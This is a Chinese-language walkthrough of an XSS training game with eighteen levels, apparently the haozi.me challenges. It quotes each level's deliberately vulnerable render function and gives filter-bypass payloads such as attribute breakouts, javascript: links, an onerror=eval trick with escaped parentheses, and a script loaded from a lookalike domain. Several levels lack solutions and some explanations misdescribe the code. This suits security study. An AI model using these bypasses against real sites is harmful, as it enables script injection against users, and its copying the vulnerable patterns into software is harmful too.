目录
第零关:
第一关:
第二关:
第三关:
第四关:
第五关:
第六关:
第七关:
第八关:
第九关:
第十关:
第十一关:
第十二关:
第十三关:
第十四关:
第十五关:
第十六关:
第十七关:
第十八关:
开始我们的训练:
第零关:
首先进入之后有三个地方需要我们关注一下,input code是我们要传参的地方,server code里边是我们的源代码,html是执行代码的结果。
就像这样子哦,我们已经成功注入。
第一关:
源码里使用了textarea,首先想法就是给闭合一下,再执行我们的注入代码
第二关:
源代码:
function render (input) {
return '<input type="name" value="' + input + '">'
}
一样的思路,我们先将value闭合,然后再注入
"><script>alert(1)</script>
第三关:
源代码分析:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
从服务器端得到stripbracketsRe的作用是将指定的符号替换,这里替换的是(),所以正常使用alert()是不可取的。只能换成其他的,比如``反引号
或者将()给编码一下
<a href="javascript:alert(1)">aaa</a>
第四关:
查看源代码:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
仔细看这一关和上一关就是将`和()给都过滤掉了,那就换一个能代替()的来执行不就行了
<a href="javascript:alert(1)">aaa</a>
这个就可以哦
或者:
<svg><script>alert(1)</script></svg>
或者:使用Unicode编码,
window.onerror = eval;
这一行代码将window.onerror
事件处理程序设置为eval
函数。eval
函数用于执行传入的字符串作为 JavaScript 代码。throw '=alert\u00281\u0029'
这一行代码将一个字符串'=alert\u00281\u0029'
抛出(throw)到 JavaScript 解释器。然后,因为window.onerror
已经被设置为eval
函数,所以这个字符串会被当做 JavaScript 代码进行执行。
<script>window.οnerrοr=eval;throw'=alert\u00281\u0029'</script>
或者:
<iframe srcdoc="<script>alert(1)</script>">
第五关:
源代码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
仔细看
第六关:
源代码:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这个正则将auto、以on开头的所有单词、>都被过滤,所以之前的都不能使用了,这里有个小bagel
这是要有用户参与,
这个用户就没有参与
第七关:
源代码:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这个正则是将/、和>给过滤了,所以不能用>了,就找个单标签
第八关:
源代码:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
这个是要写在<style>标签里,所以就想将标签给他闭合了,那不就好了,但是有个过滤,这里用一个空格给他绕过,最后这个空格会在html里边被注释掉。
第九关:
源代码:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
这个提示要有一个网址,之后就是一个技巧......
第十关:
源代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这个也是要地址。一样的道理。。
第十一关:
源代码:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
这个就是将我们输入的都转成大写了
第十二关:
源代码:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这一关就是在上一关的基础上将script也给过滤了,那我们就换一个标签
第十三关:
源代码:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
这一关的输出被注释掉了,那我们在注入的任何东西都不会起作用。但是当我们敲个回车键之后,之后输入的东西就其作用了,注释符在这里就不起作用了。
注意看这里的括号颜色就能看出来,之后我们注释掉后边的括号,这个注释符只能在句首使用,放到句中就不起作用
第十四关:
源代码:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这个代码里边首先会将在首字母前加_下划线,所以我们的标签都不能执行,再就是这里将所有的字母都转成了大写。所以这里使用了一个特殊的字符,他这个字符会被转换成s这个字母。
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
第十五关:
源代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
第十六关:
源代码:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
第十七关:
源代码:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
这个看似过滤了一大堆,其实.replace(/"/g, '\\"')在这里没有起到因要的效果。
第十八关:
源代码:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
这里是将/替换成\\注释符,我们利用换行就可以绕过。